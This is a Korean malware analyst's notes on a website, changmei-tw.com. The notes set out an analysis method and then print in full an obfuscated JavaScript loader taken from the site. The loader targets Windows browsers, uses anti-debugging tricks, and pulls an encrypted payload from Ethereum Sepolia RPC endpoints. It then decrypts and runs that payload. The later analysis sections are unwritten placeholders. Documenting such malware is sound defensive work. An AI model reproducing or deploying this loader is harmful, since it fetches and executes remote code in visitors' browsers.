Search
moon
sun

사이트 분석

Category
강의
Priority
Purpose
Status
시작 전
Track
관련 단계
주요 일정
주요 일정 날짜
진행 날짜

사이트 분석 기록

🧭
이 페이지는 실제 웹사이트에서 확인된 비정상 스크립트와 네트워크 동작을 직접 분석하면서, 관찰 사실과 추정을 분리해 기록하는 용도로 사용한다.

분석 원칙

•
관찰된 사실과 추정/가설을 구분해서 작성한다.
•
탐지명만 보고 악성 행위를 단정하지 않고, HTML·JavaScript·Network·Console 등 실제 증거를 따라간다.
•
외부 인프라가 비활성화되었거나 조건부 응답을 반환할 수 있으므로, 한 번의 접속 결과만으로 최종 행위를 단정하지 않는다.
•
공개 가능한 보고서로 발전시킬 경우 재현 가능한 전체 페이로드, 복호화 키, 공격에 직접 활용 가능한 세부값은 필요에 따라 비공개 또는 마스킹한다.

분석 환경

•
브라우저: Microsoft Edge / Chromium DevTools
•
주요 확인 항목: HTML Source, Network, Response, Initiator, Console
•
의심 사이트 접속 및 동적 확인은 가급적 분석용 VM에서 수행한다.

기본 분석 흐름

1.
탐지된 페이지의 HTML 원문 확보
2.
비정상 JavaScript 및 난독화 여부 확인
3.
Base64 등 정적 디코딩
4.
외부 URL·RPC·API 호출 구조 확인
5.
브라우저 Network에서 실제 요청 및 응답 확인
6.
Console·Initiator를 통해 호출 주체 확인
7.
필요 시 2차 스크립트의 복호화·압축 해제·행위 분석
8.
확인된 IOC와 행위 기반으로 최종 판정

분석 대상 — changmei-tw.com

1. 분석 계기

작성 예정

2. 최초 HTML 확인

3. 난독화 JavaScript 식별

HTML 내부에서 일반적인 웹사이트 기능과 직접 관련 없어 보이는 난독화 JavaScript가 확인되었다.
주요 특징은 다음과 같다.
•
_0x... 형태의 변수명과 문자열 인덱스 참조를 사용해 코드 의미를 숨긴다.
•
문자열 배열을 별도 함수로 관리하고, 숫자 인덱스를 통해 실제 문자열을 복원한다.
•
atob()를 이용한 Base64 디코딩과 Function / new Function()을 이용한 동적 코드 실행 구조가 포함되어 있다.
•
console 함수 후킹, 반복적인 debugger 유발 로직 등 분석을 방해하기 위한 코드가 포함되어 있다.
•
난독화된 본문 내부에 Windows 환경 식별, Ethereum Sepolia RPC 통신, 복호화 및 2차 JavaScript 실행 로직이 포함되어 있는 것으로 확인되었다.
따라서 단순한 코드 압축 또는 일반적인 난독화 수준이 아니라, 실행 흐름과 외부 통신 목적을 숨기기 위한 의도적인 JavaScript 난독화로 판단하였다.
const _0x16169f=_0x59c3;(function(_0xb87e6a,_0x2c046c){const _0x5c3460=_0x59c3,_0x57ddd9=_0xb87e6a();while(!![]){try{const _0x932241=parseInt(_0x5c3460(0xc2))/0x1*(parseInt(_0x5c3460(0xf7))/0x2)+parseInt(_0x5c3460(0xed))/0x3*(-parseInt(_0x5c3460(0x100))/0x4)+-parseInt(_0x5c3460(0xf6))/0x5+parseInt(_0x5c3460(0xfc))/0x6+-parseInt(_0x5c3460(0xb4))/0x7+-parseInt(_0x5c3460(0xb7))/0x8+parseInt(_0x5c3460(0xba))/0x9*(parseInt(_0x5c3460(0xef))/0xa);if(_0x932241===_0x2c046c)break;else _0x57ddd9'push';}catch(_0x1b1a79){_0x57ddd9'push';}}}(_0x50fb,0xcc7e7));const _0x1c6b45=(function(){let _0x353d96=!![];return function(_0xe3a02f,_0x5dad6e){const _0x3b47e9=_0x353d96?function(){if(_0x5dad6e){const _0x1dc3b1=_0x5dad6e'apply';return _0x5dad6e=null,_0x1dc3b1;}}:function(){};return _0x353d96=![],_0x3b47e9;};}()),_0x425cad=_0x1c6b45(this,function(){const _0x2d3eec=_0x59c3;if(_0x425cad_0x2d3eec(0xd6)_0x2d3eec(0xfd)_0x2d3eec(0xd7)!==-0x1)return;return _0x425cad_0x2d3eec(0xfd)_0x2d3eec(0xe6)_0x2d3eec(0xfd)'constructor'_0x2d3eec(0xe6);});_0x425cad();function _0x50fb(){const 0x36eafe=['apply','RPC\x20failed:','warn','replace','return\x20(function()\x20','https://rpc.sepolia.ethpandaops.io','info','constructor','https://ethereum-sepolia-public.nodies.app','code','while\x20(true)\x20{}','https://1rpc.io/sepolia','gzip','getItem','bind','indexOf','debu','Error\x20saving\x20cache','Executing\x20from\x20cache','prototype','e30=','g_b15s_a','decrypt','input','json','body','importKey','exp','now','stringify','search','https://gateway.tenderly.co/public/sepolia','__proto__','length','pipeThrough','Cache\x20missed','setInterval','1914zpgCiH','raw','6170QFmFQC','setItem','action','0x0321C73150543FAa9D016c9c46Abf293Eb6839e4','exception','random','map','8259420iblCEN','2764ybLwyY','subtle','SHA-256','chain','sort','3749076PVdNRS','toString','trace','{}.constructor(\x22return\x20this\x22)(\x20)','1700YHYytr','(((.+)+)+)+','AES-GCM','call','stateObject','[Blockchain]\x20','all\x20RPCs\x20failed','slice','5958274zlprUN','error','15h8i211vboqhnos','12336832mbHkpI','function\x20*\\(\\x20*\\\\)','string','48627cTDlJS','console','<https://sepolia.gateway.tenderly.co>','\\x5c+\\x5c+\\x20*(?:[a-zA-Z_][0-9a-zA-Z$]*)','then','encode','userAgent','log','865ckEoIO','test','Windows','message','POST','match'];_0x50fb=function(){return _0x36eafe;};return _0x50fb();}const _0x3d64c4=(function(){let _0x1ea298=!![];return function(_0x364ecf,_0x5ad281){const _0x2c2971=_0x1ea298?function(){const _0x52b9f3=_0x59c3;if(_0x5ad281){const _0x44bc9a=_0x5ad281_0x52b9f3(0xc8);return _0x5ad281=null,_0x44bc9a;}}:function(){};return _0x1ea298=![],_0x2c2971;};}());function _0x59c3(_0x2861c3,_0x286dca){_0x2861c3=_0x2861c3-0xb4;const _0x4c218f=_0x50fb();let _0x44fef2=_0x4c218f[_0x2861c3];return _0x44fef2;}(function(){_0x3d64c4(this,function(){const _0x2d9c44=_0x59c3,_0x4b23f8=new RegExp(_0x2d9c44(0xb8)),_0x13ede6=new RegExp(_0x2d9c44(0xbd),'i'),_0x2966cf=_0x4f1deb('init');!_0x4b23f8'test'||!_0x13ede6_0x2d9c44(0xc3)?_0x2966cf('0'):_0x4f1deb();})();}()),(function(){const _0x186d51=_0x59c3;let _0x464d98;try{const _0x164617=Function(_0x186d51(0xcc)+_0x186d51(0xff)+');');_0x464d98=_0x164617();}catch(_0x57b848){_0x464d98=window;}_0x464d98_0x186d51(0xec);}());const _0x2fd626=(function(){let _0x54bb6f=!![];return function(_0x10826d,_0x5a7ee2){const _0x51bf5b=_0x54bb6f?function(){const _0x39ae36=_0x59c3;if(_0x5a7ee2){const _0x267a47=_0x5a7ee2_0x39ae36(0xc8);return _0x5a7ee2=null,_0x267a47;}}:function(){};return _0x54bb6f=![],_0x51bf5b;};}()),_0x44fef2=_0x2fd626(this,function(){const _0x5b8118=_0x59c3;let _0x5689e2;try{const _0x18d212=Function(_0x5b8118(0xcc)+_0x5b8118(0xff)+');');_0x5689e2=_0x18d212();}catch(_0x54f39b){_0x5689e2=window;}const _0x9ec3a4=_0x5689e2[_0x5b8118(0xbb)]=_0x5689e2['console']||{},_0xd47a73=[_0x5b8118(0xc1),_0x5b8118(0xca),_0x5b8118(0xce),'error',_0x5b8118(0xf3),'table',_0x5b8118(0xfe)];for(let _0x3f7b73=0x0;_0x3f7b73<_0xd47a73[_0x5b8118(0xe9)];_0x3f7b73++){const _0x170c67=_0x2fd626[_0x5b8118(0xcf)][_0x5b8118(0xdb)]_0x5b8118(0xd6),_0x2ab8d2=_0xd47a73[_0x3f7b73],_0x3e206e=_0x9ec3a4[_0x2ab8d2]||_0x170c67;_0x170c67[_0x5b8118(0xe8)]=_0x2fd626_0x5b8118(0xd6),_0x170c67[_0x5b8118(0xfd)]=_0x3e206e[_0x5b8118(0xfd)]_0x5b8118(0xd6),_0x9ec3a4[_0x2ab8d2]=_0x170c67;}});_0x44fef2(),(async(_0x3ae050,_0x1b1f26,_0x86f97d,_0x225e58)=>{const _0x40b9ce=_0x59c3,_0x4c567e=navigator['userAgentData']?.['platform']===_0x40b9ce(0xc4)||/Win(dows|32|64|NT|9[58]|16)/i_0x40b9ce(0xc3);if(!_0x4c567e)return;const _0x3d4733=_0x21d4fe=>{const _0x23a991=_0x40b9ce;console'log';};_0x3d4733(JSON_0x40b9ce(0xe5));try{const _0x1839ff=JSON'parse';if(_0x1839ff&&_0x1839ff['code']&&_0x1839ff?.[_0x40b9ce(0xe3)]>Date_0x40b9ce(0xe4)){_0x3d4733(_0x40b9ce(0xda)),new Function(_0x1839ff[_0x40b9ce(0xd1)])();return;}else _0x3d4733(_0x40b9ce(0xeb));}catch{_0x3d4733('Cache\x20missed');}const _0x293af2=[_0x40b9ce(0xd0),_0x40b9ce(0xbc),_0x40b9ce(0xe7),_0x40b9ce(0xcd),'https://0xrpc.io/sep','https://ethereum-sepolia-rpc.publicnode.com',_0x40b9ce(0xd3)][_0x40b9ce(0xfb)](_0x172183=Math_0x40b9ce(0xf4)-0.5),_0xacbca6=_0x2bccde=>Uint8Array'from';let _0xc4fa1b=null;for(const _0x54cb8c of _0x293af2){try{const _0x30e5d8=await fetch(_0x54cb8c,{'method':_0x40b9ce(0xc6),'headers':{'content-type':'application/json'},'body':JSON_0x40b9ce(0xe5)})_0x40b9ce(0xbe);if(_0x30e5d8[_0x40b9ce(0xb5)])throw new Error(_0x30e5d8[_0x40b9ce(0xb5)]['message']);_0xc4fa1b=_0x30e5d8['result'];break;}catch(_0x497dfe){_0x3d4733(_0x40b9ce(0xc9),_0x54cb8c,_0x497dfe[_0x40b9ce(0xc5)]);}}if(!_0xc4fa1b)return _0x3d4733(_0x40b9ce(0x106));const _0x447f08=_0xc4fa1b_0x40b9ce(0x107),_0x59c176=parseInt(_0x447f08_0x40b9ce(0x107),0x10),_0x7e17ea=_0xacbca6(_0x447f08_0x40b9ce(0x107)),_0xbad480=_0xacbca6(_0x3ae050)_0x40b9ce(0x107),_0x2fa880=await crypto[_0x40b9ce(0xf8)]['digest'](_0x40b9ce(0xf9),new TextEncoder()_0x40b9ce(0xbf)),_0x24fdce=await crypto[_0x40b9ce(0xf8)]_0x40b9ce(0xe2),_0x3c567=await crypto[_0x40b9ce(0xf8)]_0x40b9ce(0xde),_0x605348=new Response(_0x3c567)[_0x40b9ce(0xe1)][_0x40b9ce(0xea)](new DecompressionStream(_0x40b9ce(0xd4))),_0x59a13d=await new Response(_0x605348)'text';if(_0x59a13d){try{localStorage_0x40b9ce(0xf0),_0x3d4733('Cache\x20saved');}catch(_0x2c99c0){_0x3d4733(_0x40b9ce(0xd9));}new Function(_0x59a13d)();}})(_0x16169f(0xf2),_0x16169f(0xb6),_0x16169f(0xdd),'120');function _0x4f1deb(_0x5607ab){function _0x38df6b(_0xa30883){const _0x3db216=_0x59c3;if(typeof _0xa30883===_0x3db216(0xb9))return function(_0x3a841f){}_0x3db216(0xcf)_0x3db216(0xc8);else(''+_0xa30883/_0xa30883)[_0x3db216(0xe9)]!==0x1||_0xa30883%0x14===0x0?function(){return!![];}_0x3db216(0xcf)_0x3db216(0x103):function(){return![];}_0x3db216(0xcf)_0x3db216(0xc8);_0x38df6b(++_0xa30883);}try{if(_0x5607ab)return _0x38df6b;else _0x38df6b(0x0);}catch(_0x1a4561){} }
JavaScript
복사

4. JavaScript 디옵퓨스케이션

작성 예정

5. Windows 환경 식별 로직

작성 예정

6. Ethereum Sepolia RPC 통신 분석

작성 예정

7. 2차 페이로드 복호화·실행 구조

작성 예정

8. 분석 결론

작성 예정